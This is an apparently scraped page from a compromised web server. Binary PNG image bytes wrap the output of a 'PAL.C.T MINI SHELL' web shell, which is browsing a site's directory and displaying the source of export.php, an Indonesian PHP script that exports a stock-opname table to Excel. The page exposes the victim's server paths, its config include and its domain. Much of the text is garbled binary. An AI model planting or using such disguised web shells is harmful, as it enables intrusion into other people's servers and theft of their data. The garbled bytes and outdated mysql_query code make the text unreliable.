php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/fl/content/stok_opname/
upload
files >> //var/www/html/fl/content/stok_opname/export.php

<?php

include "../../konfig/koneksi.php";
	
// nama file
$namaFile = "Stok_Opname.xls";

// Function penanda awal file (Begin Of File) Excel

function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}

// Function penanda akhir file (End Of File) Excel

function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}

// Function untuk menulis data (angka) ke cell excel

function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}

// Function untuk menulis data (text) ke cell excel

function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}

// header file excel

header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
        pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");

// header untuk nama file
header("Content-Disposition: attachment;
        filename=".$namaFile."");

header("Content-Transfer-Encoding: binary ");

// memanggil function penanda awal file excel
xlsBOF();

// ------ membuat kolom pada excel --- //

xlsWriteLabel(0,0,"No.ID");   

xlsWriteLabel(0,1,"Tanggal");            

xlsWriteLabel(0,2,"Brand");              

xlsWriteLabel(0,3,"Nama");   

xlsWriteLabel(0,4,"Qty"); 

xlsWriteLabel(0,5,"Posisi");

xlsWriteLabel(0,6,"Catatan");

xlsWriteLabel(0,7,"Photo 1");

xlsWriteLabel(0,8,"Photo 2");

xlsWriteLabel(0,9,"Photo 3"); 

xlsWriteLabel(0,10,"Status"); 

// -------- menampilkan data --------- //

// query menampilkan semua data

$query = "SELECT * FROM stok_opname order by id desc";
$hasil = mysql_query($query);

// nilai awal untuk baris cell
$noBarisCell = 1;

// nilai awal untuk nomor urut data
$noData = 1;

while ($data = mysql_fetch_array($hasil))
{

  //$newstring = substr_replace($phonex, "A", 3, 0);
	//$newstring = substr_replace($newstring, "A", 7, 0);
// id_main_produk   kode_barang   harga   diskon  harga_promo   keterangan

   xlsWriteLabel($noBarisCell,0,$data['id']);

   xlsWriteLabel($noBarisCell,1,$data['tanggal']);

   xlsWriteLabel($noBarisCell,2,$data['brand']);

   xlsWriteLabel($noBarisCell,3,$data['nama']);

   xlsWriteLabel($noBarisCell,4,$data['qty']." ".$data['satuan']);

   xlsWriteLabel($noBarisCell,5,$data['posisi']);

   xlsWriteLabel($noBarisCell,6,$data['catatan']);

   xlsWriteLabel($noBarisCell,7,"http://faedahteknik.com/fl/images/img_customer/".$data['photo1']);

   xlsWriteLabel($noBarisCell,8,"http://faedahteknik.com/fl/images/img_customer/".$data['photo2']);

   xlsWriteLabel($noBarisCell,9,"http://faedahteknik.com/fl/images/img_customer/".$data['photo3']);

   xlsWriteLabel($noBarisCell,10,$data['status']);
   
//   xlsWriteLabel($noBarisCell,5,$data['comment']);
//   xlsWriteLabel($noBarisCell,6,$data['source']);

   // increment untuk no. baris cell dan no. urut data
   $noBarisCell++;
   $noData++;
}

// memanggil function penanda akhir file excel
xlsEOF();
exit();

//header('location:../../media.php?module=exim');

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`